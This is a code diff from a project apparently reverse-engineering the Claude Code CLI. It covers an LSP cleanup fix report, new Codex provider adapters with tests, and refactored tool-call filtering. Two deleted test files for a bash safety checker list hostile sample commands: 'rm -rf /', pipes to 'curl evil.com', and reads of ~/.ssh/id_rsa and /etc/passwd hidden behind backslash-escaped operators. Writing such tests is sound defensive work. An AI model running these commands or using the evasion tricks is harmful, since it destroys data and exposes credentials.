### 实现位置
- `src/services/lsp/LSPServerManager.ts:414-428``closeAllFiles()` 方法
- `src/services/compact/postCompactCleanup.ts:81-88` — 集成调用
### 问题详情
`LSPServerManager` 中的 `openedFiles: Map<string, string>` 追踪所有通过 `didOpen` 打开的文件。`closeFile()` 方法存在可以发送 `didClose` 通知并清理 Map 条目,但代码注释明确标注:
```
NOTE: Currently available but not yet integrated with compact flow.
TODO: Integrate with compact - call closeFile() when compact removes files from context
```
长时间会话中,每次读取/编辑文件都会通过 `openFile()` 添加条目,但 compaction 不会清理这些条目,导致 Map 无限增长。
### 修复方式
1. **添加 `closeAllFiles()` 方法**:遍历 `openedFiles` Map对每个文件发送 `didClose` 通知,然后清空 Map。Best-effort 错误处理。
```typescript
async function closeAllFiles(): Promise<void> {
const entries = [...openedFiles.entries()]
openedFiles.clear()
for (const [fileUri, serverName] of entries) {
const server = servers.get(serverName)
if (!server || server.state !== 'running') continue
try {
await server.sendNotification('textDocument/didClose', {
textDocument: { uri: fileUri },
})
} catch {
// Best-effort — server may have stopped
}
}
}
```
2. **集成到 `postCompactCleanup`**:在 compaction 后自动调用 `closeAllFiles()`,释放所有 LSP 服务器端的文件状态。
```typescript
// postCompactCleanup.ts
try {
const lspManager = getLspServerManager()
if (lspManager) {
await lspManager.closeAllFiles()
}
} catch {
// LSP module may not be available in all environments
}
```
---
## 总结
```
确认已实现 (12): #1 图片 #2 /usage #3 进度消息 #4 空闲渲染 #5 虚拟滚动器 #6 管道输出 #10 MCP缓冲区
已修复 (7): #7 语法加载 #8 NO_FLICKER #9 RC权限 #11 LRU缓存键 #12 snipCompact #17 LSP文件追踪 #18 Permission Polling
### 测试覆盖
| 修复项 | 测试文件 | 测试数 |
|--------|----------|--------|
| #12 snipCompact | `src/services/compact/__tests__/snipCompact.test.ts` | 17 |
| #12 snipProjection | `src/services/compact/__tests__/snipProjection.test.ts` | 11 |
| #8 StreamingToolExecutor | `src/services/tools/__tests__/StreamingToolExecutor.test.ts` | 7 |
| #9 RC 权限 | `src/hooks/__tests__/replBridgePermissionHandlers.test.ts` | 8 |
| #11 FileStateCache | `src/utils/__tests__/fileStateCache.test.ts` | 22 |
| #7 语言注册 | `packages/color-diff-napi/src/__tests__/language-registration.test.ts` | 7 |
| #18 Permission Polling | `src/hooks/__tests__/swarmPermissionPoller.test.ts` | 6 |
| #17 LSP Opened Files | `src/services/lsp/__tests__/closeAllFiles.test.ts` | 5 |
| **总计** | **8 个测试文件** | **83** |
```
### 需要关注的优先级
1. ~~**P0 — `snipCompact.ts` 存根**~~ **已修复**
2. ~~**P1 — 语法按需加载回退**~~ **已修复**
3. ~~**P2 — NO_FLICKER 流状态**~~ **已修复**
4. ~~**P2 — 空闲渲染循环**~~ **已确认完整**
5. ~~**P2 — Permission Polling Interval**~~ **已修复**
6. ~~**P2 — LSP Opened Files Map**~~ **已修复**closeAllFiles() 集成到 postCompactCleanup

View File

@@ -1,6 +1,6 @@
{
"name": "claude-code-best",
"version": "1.11.0",
"version": "1.10.4",
"description": "Reverse-engineered Anthropic Claude Code CLI — interactive AI coding assistant in the terminal",
"type": "module",
"author": "claude-code-best <claude-code-best@proton.me>",

View File

@@ -61,3 +61,10 @@ export { anthropicMessagesToOpenAI } from './shared/openaiConvertMessages.js'
export type { ConvertMessagesOptions } from './shared/openaiConvertMessages.js'
export { anthropicToolsToOpenAI, anthropicToolChoiceToOpenAI } from './shared/openaiConvertTools.js'
export { adaptOpenAIStreamToAnthropic } from './shared/openaiStreamAdapter.js'
// Codex provider utilities
export { normalizeCodexCallId, resolveCodexCallId, createCodexFallbackCallId } from './providers/codex/callIds.js'
export { resolveCodexModel, resolveCodexMaxTokens } from './providers/codex/modelMapping.js'
export { anthropicMessagesToCodexInput } from './providers/codex/convertMessages.js'
export type { CodexImageConversionOptions } from './providers/codex/convertMessages.js'
export { anthropicToolsToCodex } from './providers/codex/convertTools.js'

View File

@@ -0,0 +1,94 @@
import { describe, expect, test, beforeEach, afterEach } from 'bun:test'
import { resolveCodexModel } from '../modelMapping.js'
describe('resolveCodexModel', () => {
const originalEnv = {
CODEX_MODEL: process.env.CODEX_MODEL,
CODEX_DEFAULT_HAIKU_MODEL: process.env.CODEX_DEFAULT_HAIKU_MODEL,
CODEX_DEFAULT_SONNET_MODEL: process.env.CODEX_DEFAULT_SONNET_MODEL,
CODEX_DEFAULT_OPUS_MODEL: process.env.CODEX_DEFAULT_OPUS_MODEL,
}
beforeEach(() => {
delete process.env.CODEX_MODEL
delete process.env.CODEX_DEFAULT_HAIKU_MODEL
delete process.env.CODEX_DEFAULT_SONNET_MODEL
delete process.env.CODEX_DEFAULT_OPUS_MODEL
})
afterEach(() => {
Object.assign(process.env, originalEnv)
})
test('CODEX_MODEL env var overrides all', () => {
process.env.CODEX_MODEL = 'my-custom-model'
expect(resolveCodexModel('claude-sonnet-4-6')).toBe('my-custom-model')
})
test('CODEX_DEFAULT_SONNET_MODEL overrides default map', () => {
process.env.CODEX_DEFAULT_SONNET_MODEL = 'my-sonnet'
expect(resolveCodexModel('claude-sonnet-4-6')).toBe('my-sonnet')
})
test('CODEX_DEFAULT_HAIKU_MODEL overrides default map', () => {
process.env.CODEX_DEFAULT_HAIKU_MODEL = 'my-haiku'
expect(resolveCodexModel('claude-haiku-4-5-20251001')).toBe('my-haiku')
})
test('CODEX_DEFAULT_OPUS_MODEL overrides default map', () => {
process.env.CODEX_DEFAULT_OPUS_MODEL = 'my-opus'
expect(resolveCodexModel('claude-opus-4-6')).toBe('my-opus')
})
test('maps known sonnet model via DEFAULT_MODEL_MAP', () => {
expect(resolveCodexModel('claude-sonnet-4-6')).toBe('gpt-5.4-mini')
})
test('maps known haiku model via DEFAULT_MODEL_MAP', () => {
expect(resolveCodexModel('claude-haiku-4-5-20251001')).toBe('gpt-5.4-nano')
})
test('maps known opus model via DEFAULT_MODEL_MAP', () => {
expect(resolveCodexModel('claude-opus-4-6')).toBe('gpt-5.4')
})
test('maps legacy sonnet models', () => {
expect(resolveCodexModel('claude-sonnet-4-20250514')).toBe('gpt-5.4-mini')
expect(resolveCodexModel('claude-3-5-sonnet-20241022')).toBe('gpt-5.4-mini')
})
test('maps legacy haiku models', () => {
expect(resolveCodexModel('claude-3-5-haiku-20241022')).toBe('gpt-5.4-nano')
})
test('maps legacy opus models', () => {
expect(resolveCodexModel('claude-opus-4-20250514')).toBe('gpt-5.4')
expect(resolveCodexModel('claude-opus-4-5-20251101')).toBe('gpt-5.4')
})
test('uses family default for unrecognized haiku model', () => {
expect(resolveCodexModel('claude-haiku-99')).toBe('gpt-5.4-nano')
})
test('uses family default for unrecognized sonnet model', () => {
expect(resolveCodexModel('claude-sonnet-99')).toBe('gpt-5.4-mini')
})
test('uses family default for unrecognized opus model', () => {
expect(resolveCodexModel('claude-opus-99')).toBe('gpt-5.4')
})
test('passes through unknown model name without family', () => {
expect(resolveCodexModel('some-random-model')).toBe('some-random-model')
})
test('strips [1m] suffix', () => {
expect(resolveCodexModel('claude-sonnet-4-6[1m]')).toBe('gpt-5.4-mini')
})
test('CODEX_MODEL takes precedence over family-specific vars', () => {
process.env.CODEX_MODEL = 'global-override'
process.env.CODEX_DEFAULT_SONNET_MODEL = 'family-override'
expect(resolveCodexModel('claude-sonnet-4-6')).toBe('global-override')
})
})

View File

@@ -0,0 +1,31 @@
import { createHash } from 'crypto'
const MAX_CODEX_CALL_ID_LENGTH = 96
export function normalizeCodexCallId(value: unknown): string | null {
if (typeof value !== 'string') {
return null
}
const sanitized = value
.trim()
.replace(/\s+/g, '_')
.replace(/[^A-Za-z0-9._:-]/g, '_')
.replace(/_+/g, '_')
.slice(0, MAX_CODEX_CALL_ID_LENGTH)
return sanitized.length > 0 ? sanitized : null
}
export function createCodexFallbackCallId(seed: string): string {
const hash = createHash('sha1')
.update(seed.length > 0 ? seed : 'codex-call')
.digest('hex')
.slice(0, 24)
return `call_${hash}`
}
export function resolveCodexCallId(value: unknown, seed: string): string {
return normalizeCodexCallId(value) ?? createCodexFallbackCallId(seed)
}

View File

@@ -0,0 +1,392 @@
import type {
ResponseFunctionToolCallOutputItem,
ResponseInputImage,
ResponseInputItem,
ResponseInputText,
} from 'openai/resources/responses/responses.mjs'
import type { Message } from '../../types/index.js'
import {
normalizeCodexCallId,
resolveCodexCallId,
} from './callIds.js'
type ContentBlock = {
type: string
text?: string
source?: {
type?: string
data?: string
media_type?: string
url?: string
}
}
type ToolUseLikeBlock = {
type: 'tool_use'
id: string
name: string
input: unknown
}
type ToolResultLikeBlock = {
type: 'tool_result'
tool_use_id: string
content?: string | ReadonlyArray<ContentBlock>
}
export type CodexImageConversionOptions = {
resolveBase64ImageUrl?: (
data: string,
mediaType?: string,
) => Promise<string | null>
}
type CodexCallIdState = {
byOriginalId: Map<string, string>
sequence: number
}
function createInputText(text: string): ResponseInputText {
return {
type: 'input_text',
text,
}
}
function createInputImage(imageUrl: string): ResponseInputImage {
return {
type: 'input_image',
image_url: imageUrl,
detail: 'high',
}
}
function getUnsupportedBlockText(type: string): string | null {
switch (type) {
case 'image':
return '[Image omitted: codex gateway currently requires remote image URLs. Configure CODEX_IMGBB_API_KEY to auto-convert local images.]'
case 'document':
return '[Document omitted: codex gateway does not support document replay.]'
default:
return null
}
}
function getImageUrl(block: ContentBlock): string | null {
const source = block.source
if (!source) {
return null
}
if (source.type === 'url' && typeof source.url === 'string' && source.url.length > 0) {
return source.url
}
return null
}
async function resolveImageUrl(
block: ContentBlock,
options: CodexImageConversionOptions,
): Promise<string | null> {
const directUrl = getImageUrl(block)
if (directUrl) {
return directUrl
}
if (block.source?.type !== 'base64') {
return null
}
if (options.resolveBase64ImageUrl && typeof block.source.data === 'string') {
const uploadedUrl = await options.resolveBase64ImageUrl(
block.source.data,
block.source.media_type,
)
if (uploadedUrl) {
return uploadedUrl
}
}
return null
}
async function convertBlocksToInputContent(
content: ReadonlyArray<ContentBlock>,
options: CodexImageConversionOptions,
): Promise<Array<ResponseInputText | ResponseInputImage>> {
const output: Array<ResponseInputText | ResponseInputImage> = []
for (const block of content) {
if (block.type === 'text' && block.text) {
output.push(createInputText(block.text))
continue
}
if (block.type === 'image') {
const imageUrl = await resolveImageUrl(block, options)
if (imageUrl) {
output.push(createInputImage(imageUrl))
continue
}
}
const fallback = getUnsupportedBlockText(block.type)
if (fallback) {
output.push(createInputText(fallback))
}
}
return output
}
async function convertToolResultOutput(
content: string | ReadonlyArray<ContentBlock> | undefined,
options: CodexImageConversionOptions,
): Promise<ResponseFunctionToolCallOutputItem['output']> {
if (!content) {
return ''
}
if (typeof content === 'string') {
return content
}
const output = await convertBlocksToInputContent(content, options)
if (output.length === 0) {
return ''
}
if (output.length === 1 && output[0].type === 'input_text') {
return output[0].text
}
return output
}
function pushUserMessage(
items: ResponseInputItem[],
textParts: string[],
imageUrls: string[] = [],
): void {
const text = textParts.join('\n').trim()
if (text.length === 0 && imageUrls.length === 0) {
return
}
items.push({
type: 'message',
role: 'user',
content: [
...(text.length > 0 ? [createInputText(text)] : []),
...imageUrls.map(createInputImage),
],
} as unknown as ResponseInputItem)
}
function pushAssistantMessage(
items: ResponseInputItem[],
textParts: string[],
): void {
const text = textParts.join('\n').trim()
if (text.length === 0) {
return
}
items.push({
type: 'message',
role: 'assistant',
content: [
{
type: 'output_text',
text,
annotations: [],
},
],
} as unknown as ResponseInputItem)
}
function stringifyToolInput(input: unknown): string {
if (typeof input === 'string') {
return input
}
try {
return JSON.stringify(input ?? {})
} catch {
return '{}'
}
}
function createCodexCallIdState(): CodexCallIdState {
return {
byOriginalId: new Map(),
sequence: 0,
}
}
function resolveAssistantCallId(
block: ToolUseLikeBlock,
state: CodexCallIdState,
): string {
const originalId = typeof block.id === 'string' ? block.id : ''
const seed = `${block.name}:${stringifyToolInput(block.input)}:${state.sequence}`
const callId = resolveCodexCallId(originalId, seed)
if (originalId.length > 0) {
state.byOriginalId.set(originalId, callId)
}
state.sequence += 1
return callId
}
function resolveToolResultCallId(
toolUseId: unknown,
state: CodexCallIdState,
): string | null {
if (typeof toolUseId !== 'string') {
return null
}
return state.byOriginalId.get(toolUseId) ?? normalizeCodexCallId(toolUseId)
}
async function convertUserContentToInputItems(
items: ResponseInputItem[],
content: ReadonlyArray<string | ContentBlock>,
options: CodexImageConversionOptions,
callIdState: CodexCallIdState,
): Promise<void> {
const textParts: string[] = []
const imageUrls: string[] = []
for (const block of content) {
if (typeof block === 'string') {
textParts.push(block)
continue
}
if (block.type === 'tool_result') {
pushUserMessage(items, textParts, imageUrls)
textParts.length = 0
imageUrls.length = 0
const toolResultBlock = block as ToolResultLikeBlock
const callId = resolveToolResultCallId(
toolResultBlock.tool_use_id,
callIdState,
)
if (!callId) {
continue
}
items.push({
type: 'function_call_output',
call_id: callId,
output: await convertToolResultOutput(toolResultBlock.content, options),
})
continue
}
if (block.type === 'text' && block.text) {
textParts.push(block.text)
continue
}
if (block.type === 'image') {
const imageUrl = await resolveImageUrl(block, options)
if (imageUrl) {
imageUrls.push(imageUrl)
continue
}
}
const fallback = getUnsupportedBlockText(block.type)
if (fallback) {
textParts.push(fallback)
}
}
pushUserMessage(items, textParts, imageUrls)
}
function convertAssistantContentToInputItems(
items: ResponseInputItem[],
content: ReadonlyArray<string | ContentBlock>,
callIdState: CodexCallIdState,
): void {
const textParts: string[] = []
for (const block of content) {
if (typeof block === 'string') {
textParts.push(block)
continue
}
if (block.type === 'tool_use') {
pushAssistantMessage(items, textParts)
textParts.length = 0
const toolUseBlock = block as unknown as ToolUseLikeBlock
items.push({
type: 'function_call',
call_id: resolveAssistantCallId(toolUseBlock, callIdState),
name: toolUseBlock.name,
arguments: stringifyToolInput(toolUseBlock.input),
})
continue
}
if (block.type === 'text' && block.text) {
textParts.push(block.text)
}
}
pushAssistantMessage(items, textParts)
}
export async function anthropicMessagesToCodexInput(
messages: Message[],
options: CodexImageConversionOptions = {},
): Promise<ResponseInputItem[]> {
const items: ResponseInputItem[] = []
const callIdState = createCodexCallIdState()
for (const message of messages) {
if (message.type !== 'user' && message.type !== 'assistant') {
continue
}
const apiMessage = message.message
if (!apiMessage?.content) {
continue
}
if (typeof apiMessage.content === 'string') {
if (message.type === 'user') {
pushUserMessage(items, [apiMessage.content])
} else {
pushAssistantMessage(items, [apiMessage.content])
}
continue
}
if (message.type === 'user') {
await convertUserContentToInputItems(
items,
apiMessage.content as ReadonlyArray<string | ContentBlock>,
options,
callIdState,
)
} else {
convertAssistantContentToInputItems(
items,
apiMessage.content as ReadonlyArray<string | ContentBlock>,
callIdState,
)
}
}
return items
}

View File

@@ -0,0 +1,39 @@
import type { BetaToolUnion } from '@anthropic-ai/sdk/resources/beta/messages/messages.mjs'
import type { Tool as CodexTool } from 'openai/resources/responses/responses.mjs'
function isClientFunctionTool(
tool: BetaToolUnion,
): tool is BetaToolUnion & {
name: string
description?: string
input_schema?: { [key: string]: unknown }
strict?: boolean
defer_loading?: boolean
} {
const value = tool as unknown as Record<string, unknown>
return typeof value.name === 'string'
}
export function anthropicToolsToCodex(
tools: BetaToolUnion[],
): CodexTool[] {
return tools.flatMap(tool => {
const value = tool as unknown as Record<string, unknown>
if (
value.type === 'advisor_20260301' ||
value.type === 'computer_20250124' ||
!isClientFunctionTool(tool)
) {
return []
}
return [{
type: 'function',
name: tool.name,
description: tool.description,
parameters: tool.input_schema ?? {},
strict: tool.strict ?? null,
...(tool.defer_loading && { defer_loading: true }),
}]
})
}

View File

@@ -0,0 +1,85 @@
/**
* Default mapping from Anthropic model names to Codex (OpenAI Responses API) model names.
* Used only when CODEX_DEFAULT_{FAMILY}_MODEL env vars are not set.
*/
const DEFAULT_MODEL_MAP: Record<string, string> = {
'claude-sonnet-4-20250514': 'gpt-5.4-mini',
'claude-sonnet-4-5-20250929': 'gpt-5.4-mini',
'claude-sonnet-4-6': 'gpt-5.4-mini',
'claude-3-7-sonnet-20250219': 'gpt-5.4-mini',
'claude-3-5-sonnet-20241022': 'gpt-5.4-mini',
'claude-opus-4-20250514': 'gpt-5.4',
'claude-opus-4-1-20250805': 'gpt-5.4',
'claude-opus-4-5-20251101': 'gpt-5.4',
'claude-opus-4-6': 'gpt-5.4',
'claude-haiku-4-5-20251001': 'gpt-5.4-nano',
'claude-3-5-haiku-20241022': 'gpt-5.4-nano',
}
/**
* Default model for each family when an exact match is not in DEFAULT_MODEL_MAP.
*/
const DEFAULT_FAMILY_MAP: Record<string, string> = {
haiku: 'gpt-5.4-nano',
sonnet: 'gpt-5.4-mini',
opus: 'gpt-5.4',
}
function getModelFamily(model: string): 'haiku' | 'sonnet' | 'opus' | null {
if (/haiku/i.test(model)) return 'haiku'
if (/opus/i.test(model)) return 'opus'
if (/sonnet/i.test(model)) return 'sonnet'
return null
}
/**
* Resolve the Codex (OpenAI Responses API) model name for a given Anthropic model.
*
* Priority:
* 1. CODEX_MODEL env var (override all)
* 2. CODEX_DEFAULT_{FAMILY}_MODEL env var (e.g. CODEX_DEFAULT_SONNET_MODEL)
* 3. DEFAULT_MODEL_MAP lookup (exact Anthropic model name match)
* 4. DEFAULT_FAMILY_MAP lookup (family-based default)
* 5. Pass through original model name
*/
export function resolveCodexModel(model: string): string {
if (process.env.CODEX_MODEL) {
return process.env.CODEX_MODEL
}
const cleanModel = model.replace(/\[1m\]$/, '')
const family = getModelFamily(cleanModel)
if (family) {
const familyOverride = process.env[`CODEX_DEFAULT_${family.toUpperCase()}_MODEL`]
if (familyOverride) {
return familyOverride
}
}
const mapped = DEFAULT_MODEL_MAP[cleanModel]
if (mapped) {
return mapped
}
if (family) {
return DEFAULT_FAMILY_MAP[family]
}
return cleanModel
}
export function resolveCodexMaxTokens(
upperLimit: number,
maxOutputTokensOverride?: number,
): number {
return (
maxOutputTokensOverride ??
(process.env.CODEX_MAX_TOKENS
? parseInt(process.env.CODEX_MAX_TOKENS, 10) || undefined
: undefined) ??
(process.env.CLAUDE_CODE_MAX_OUTPUT_TOKENS
? parseInt(process.env.CLAUDE_CODE_MAX_OUTPUT_TOKENS, 10) || undefined
: undefined) ??
upperLimit
)
}

View File

@@ -1,180 +0,0 @@
import { describe, expect, test } from 'bun:test'
import type { Message } from 'src/types/message.js'
import { filterIncompleteToolCalls } from '../filterIncompleteToolCalls.js'
describe('filterIncompleteToolCalls', () => {
test('drops assistant tool uses that do not have matching results', () => {
const messages = [
{
type: 'assistant',
uuid: 'a1',
message: {
role: 'assistant',
content: [{ type: 'tool_use', id: 'missing', name: 'Read' }],
},
},
{
type: 'user',
uuid: 'u1',
message: { role: 'user', content: 'continue' },
},
] as unknown as Message[]
expect(
filterIncompleteToolCalls(messages).map(message => String(message.uuid)),
).toEqual(['u1'])
})
test('preserves assistant text when dropping orphan tool uses', () => {
const messages = [
{
type: 'assistant',
uuid: 'a1',
message: {
role: 'assistant',
content: [
{ type: 'text', text: 'I will read the file.' },
{ type: 'tool_use', id: 'missing', name: 'Read' },
],
},
},
] as unknown as Message[]
const filtered = filterIncompleteToolCalls(messages)
expect(filtered).toHaveLength(1)
const first = filtered[0]!
const content = first.message!.content
expect(
Array.isArray(content) ? content.map(block => block.type) : [],
).toEqual(['text'])
})
test('keeps completed parallel tool calls when dropping an orphan', () => {
const messages = [
{
type: 'assistant',
uuid: 'a1',
message: {
role: 'assistant',
content: [
{ type: 'tool_use', id: 'done', name: 'Read' },
{ type: 'tool_use', id: 'missing', name: 'Grep' },
],
},
},
{
type: 'user',
uuid: 'u1',
message: {
role: 'user',
content: [{ type: 'tool_result', tool_use_id: 'done', content: 'ok' }],
},
},
] as unknown as Message[]
const filtered = filterIncompleteToolCalls(messages)
expect(filtered.map(message => String(message.uuid))).toEqual(['a1', 'u1'])
const first = filtered[0]!
const content = first.message!.content
expect(
Array.isArray(content)
? content.map(block =>
block.type === 'tool_use' ? block.id : block.type,
)
: [],
).toEqual(['done'])
})
test('keeps assistant tool uses that have matching results', () => {
const messages = [
{
type: 'assistant',
uuid: 'a1',
message: {
role: 'assistant',
content: [{ type: 'tool_use', id: 'done', name: 'Read' }],
},
},
{
type: 'user',
uuid: 'u1',
message: {
role: 'user',
content: [{ type: 'tool_result', tool_use_id: 'done', content: 'ok' }],
},
},
] as unknown as Message[]
expect(
filterIncompleteToolCalls(messages).map(message => String(message.uuid)),
).toEqual(['a1', 'u1'])
})
test('drops orphan tool results when their tool use was removed', () => {
const messages = [
{
type: 'user',
uuid: 'u1',
message: {
role: 'user',
content: [
{ type: 'tool_result', tool_use_id: 'missing', content: 'late' },
],
},
},
] as unknown as Message[]
expect(filterIncompleteToolCalls(messages)).toEqual([])
})
test('keeps user text while dropping orphan tool results', () => {
const messages = [
{
type: 'assistant',
uuid: 'a1',
message: { role: 'assistant', content: 'done' },
},
{
type: 'user',
uuid: 'u1',
message: {
role: 'user',
content: [
{ type: 'text', text: 'keep this' },
{ type: 'tool_result', tool_use_id: 'missing', content: 'late' },
],
},
},
] as unknown as Message[]
const filtered = filterIncompleteToolCalls(messages)
expect(filtered.map(message => String(message.uuid))).toEqual(['a1', 'u1'])
const content = filtered[1]!.message!.content
expect(Array.isArray(content) ? content : []).toEqual([
{ type: 'text', text: 'keep this' },
])
})
test('drops malformed tool blocks without ids', () => {
const messages = [
{
type: 'assistant',
uuid: 'a1',
message: {
role: 'assistant',
content: [{ type: 'tool_use', name: 'Read' }],
},
},
{
type: 'user',
uuid: 'u1',
message: {
role: 'user',
content: [{ type: 'tool_result', content: 'late' }],
},
},
] as unknown as Message[]
expect(filterIncompleteToolCalls(messages)).toEqual([])
})
})

View File

@@ -1,110 +0,0 @@
import type {
AssistantMessage,
Message,
UserMessage,
} from 'src/types/message.js'
/**
* Removes invalid or orphaned tool_use/tool_result blocks while preserving
* completed tool-call pairs. This is intentionally block-level, not
* message-level, so completed parallel tool calls stay paired with results.
*/
export function filterIncompleteToolCalls(messages: Message[]): Message[] {
const toolUseIdsWithResults = new Set<string>()
for (const message of messages) {
if (message?.type === 'user') {
const userMessage = message as UserMessage
const content = userMessage.message.content
if (Array.isArray(content)) {
for (const block of content) {
if (block.type === 'tool_result' && block.tool_use_id) {
toolUseIdsWithResults.add(block.tool_use_id)
}
}
}
}
}
const retainedToolUseIds = new Set<string>()
const withoutOrphanToolUses: Message[] = []
for (const message of messages) {
if (message?.type === 'assistant') {
const assistantMessage = message as AssistantMessage
const content = assistantMessage.message.content
if (Array.isArray(content)) {
let changed = false
const filteredContent = content.filter(block => {
if (block.type !== 'tool_use') return true
if (!block.id) {
changed = true
return false
}
if (toolUseIdsWithResults.has(block.id)) {
retainedToolUseIds.add(block.id)
return true
}
changed = true
return false
})
if (!changed) {
withoutOrphanToolUses.push(message)
continue
}
if (filteredContent.length > 0) {
withoutOrphanToolUses.push({
...assistantMessage,
message: {
...assistantMessage.message,
content: filteredContent,
},
})
}
continue
}
}
withoutOrphanToolUses.push(message)
}
const filteredMessages: Message[] = []
for (const message of withoutOrphanToolUses) {
if (message?.type !== 'user') {
filteredMessages.push(message)
continue
}
const userMessage = message as UserMessage
const content = userMessage.message.content
if (!Array.isArray(content)) {
filteredMessages.push(message)
continue
}
let changed = false
const filteredContent = content.filter(block => {
if (block.type !== 'tool_result') return true
if (!block.tool_use_id) {
changed = true
return false
}
if (retainedToolUseIds.has(block.tool_use_id)) return true
changed = true
return false
})
if (!changed) {
filteredMessages.push(message)
continue
}
if (filteredContent.length > 0) {
filteredMessages.push({
...userMessage,
message: {
...userMessage.message,
content: filteredContent,
},
})
}
}
return filteredMessages
}

View File

@@ -86,11 +86,8 @@ import {
import type { ContentReplacementState } from 'src/utils/toolResultStorage.js'
import { createAgentId } from 'src/utils/uuid.js'
import { resolveAgentTools } from './agentToolUtils.js'
import { filterIncompleteToolCalls } from './filterIncompleteToolCalls.js'
import { type AgentDefinition, isBuiltInAgent } from './loadAgentsDir.js'
export { filterIncompleteToolCalls } from './filterIncompleteToolCalls.js'
/**
* Initialize agent-specific MCP servers
* Agents can define their own MCP servers in their frontmatter that are additive
@@ -889,6 +886,50 @@ export async function* runAgent({
}
}
/**
* Filters out assistant messages with incomplete tool calls (tool uses without results).
* This prevents API errors when sending messages with orphaned tool calls.
*/
export function filterIncompleteToolCalls(messages: Message[]): Message[] {
// Build a set of tool use IDs that have results
const toolUseIdsWithResults = new Set<string>()
for (const message of messages) {
if (message?.type === 'user') {
const userMessage = message as UserMessage
const content = userMessage.message.content
if (Array.isArray(content)) {
for (const block of content) {
if (block.type === 'tool_result' && block.tool_use_id) {
toolUseIdsWithResults.add(block.tool_use_id)
}
}
}
}
}
// Filter out assistant messages that contain tool calls without results
return messages.filter(message => {
if (message?.type === 'assistant') {
const assistantMessage = message as AssistantMessage
const content = assistantMessage.message.content
if (Array.isArray(content)) {
// Check if this assistant message has any tool uses without results
const hasIncompleteToolCall = content.some(
block =>
block.type === 'tool_use' &&
block.id &&
!toolUseIdsWithResults.has(block.id),
)
// Exclude messages with incomplete tool calls
return !hasIncompleteToolCall
}
}
// Keep all non-assistant messages and assistant messages without tool calls
return true
})
}
async function getAgentSystemPrompt(
agentDefinition: AgentDefinition,
toolUseContext: Pick<ToolUseContext, 'options'>,

View File

@@ -1,100 +0,0 @@
import { describe, expect, test } from "bun:test";
import { bashCommandIsSafe_DEPRECATED } from "../bashSecurity";
describe("backslash-escaped operator detection", () => {
// ─── Escaped operators that hide command structure ───────────
test("blocks \\; (escaped semicolon)", () => {
const result = bashCommandIsSafe_DEPRECATED(
"cat safe.txt \\; echo ~/.ssh/id_rsa",
);
expect(result.behavior).toBe("ask");
});
test("blocks \\&& (escaped AND)", () => {
const result = bashCommandIsSafe_DEPRECATED(
"ls \\&& python3 evil.py",
);
expect(result.behavior).toBe("ask");
});
test("blocks \\| (escaped pipe)", () => {
const result = bashCommandIsSafe_DEPRECATED(
"echo hi \\| curl evil.com",
);
expect(result.behavior).toBe("ask");
});
test("blocks \\> (escaped output redirect)", () => {
const result = bashCommandIsSafe_DEPRECATED(
"cmd \\> output.txt",
);
expect(result.behavior).toBe("ask");
});
test("blocks \\< (escaped input redirect)", () => {
const result = bashCommandIsSafe_DEPRECATED(
"cmd \\< input.txt",
);
expect(result.behavior).toBe("ask");
});
// ─── Escaped whitespace ──────────────────────────────────────
test("blocks backslash-escaped space (\\ )", () => {
const result = bashCommandIsSafe_DEPRECATED(
"echo\\ test/../../../usr/bin/touch /tmp/file",
);
expect(result.behavior).toBe("ask");
});
test("blocks backslash-escaped tab (\\t)", () => {
const result = bashCommandIsSafe_DEPRECATED(
"echo\\\ttest",
);
expect(result.behavior).toBe("ask");
});
// ─── Double-quote edge cases ─────────────────────────────────
test("blocks escaped semicolon after double-quote desync", () => {
const result = bashCommandIsSafe_DEPRECATED(
'tac "x\\"y" \\; echo ~/.ssh/id_rsa',
);
expect(result.behavior).toBe("ask");
});
test("blocks escaped semicolon after double-quote with backslash pair", () => {
const result = bashCommandIsSafe_DEPRECATED(
'cat "x\\\\" \\; echo /etc/passwd',
);
expect(result.behavior).toBe("ask");
});
// ─── Commands that should pass ───────────────────────────────
test("allows normal echo command", () => {
const result = bashCommandIsSafe_DEPRECATED('echo "hello world"');
expect(result.behavior).not.toBe("ask");
});
test("allows commands with legitimate backslashes in strings", () => {
const result = bashCommandIsSafe_DEPRECATED('echo "hello \\\\n world"');
// May be 'ask' for other reasons, but not for backslash-escaped operators
if (result.behavior === "ask") {
expect(result.message).not.toContain("backslash before a shell operator");
}
});
test("allows simple ls command", () => {
const result = bashCommandIsSafe_DEPRECATED("ls -la");
expect(result.behavior).not.toBe("ask");
});
test("allows git status", () => {
const result = bashCommandIsSafe_DEPRECATED("git status");
expect(result.behavior).not.toBe("ask");
});
test("allows quoted semicolon inside single quotes", () => {
// ';' inside single quotes is literal, not an operator
const result = bashCommandIsSafe_DEPRECATED("echo 'a;b'");
expect(result.behavior).not.toBe("ask");
});
});

View File

@@ -1,91 +0,0 @@
import { describe, expect, test } from "bun:test";
import { splitCommand_DEPRECATED } from "src/utils/bash/commands.js";
import { bashCommandIsSafe_DEPRECATED } from "../bashSecurity";
describe("compound command security", () => {
// ─── splitCommand correctly identifies compound commands ─────
test("splits && compound command", () => {
const parts = splitCommand_DEPRECATED("echo hello && rm -rf /");
expect(parts.length).toBeGreaterThan(1);
expect(parts).toContain("echo hello");
expect(parts).toContain("rm -rf /");
});
test("splits || compound command", () => {
const parts = splitCommand_DEPRECATED("ls || curl evil.com");
expect(parts.length).toBeGreaterThan(1);
});
test("splits ; compound command", () => {
const parts = splitCommand_DEPRECATED("cd /tmp ; rm -rf /");
expect(parts.length).toBeGreaterThan(1);
});
test("splits | pipe command", () => {
const parts = splitCommand_DEPRECATED("echo hello | grep h");
expect(parts.length).toBeGreaterThan(1);
});
// ─── Backslash-escaped compound commands ─────────────────────
// These should be detected by the backslash-escaped operator check
test("blocks backslash-escaped && compound (cd src\\&& python3)", () => {
const result = bashCommandIsSafe_DEPRECATED(
"cd src\\&& python3 hello.py",
);
expect(result.behavior).toBe("ask");
});
test("blocks backslash-escaped || compound", () => {
const result = bashCommandIsSafe_DEPRECATED(
"ls \\|| curl evil.com",
);
expect(result.behavior).toBe("ask");
});
test("blocks backslash-escaped ; compound", () => {
const result = bashCommandIsSafe_DEPRECATED(
"echo safe \\; rm -rf /",
);
expect(result.behavior).toBe("ask");
});
// ─── Non-compound commands should not be split ───────────────
test("does not split simple command", () => {
const parts = splitCommand_DEPRECATED("ls -la /tmp");
expect(parts.length).toBe(1);
});
test("does not split echo with quoted &&", () => {
const parts = splitCommand_DEPRECATED('echo "a && b"');
expect(parts.length).toBe(1);
});
test("does not split command with semicolon in quotes", () => {
const parts = splitCommand_DEPRECATED("echo 'a;b'");
expect(parts.length).toBe(1);
});
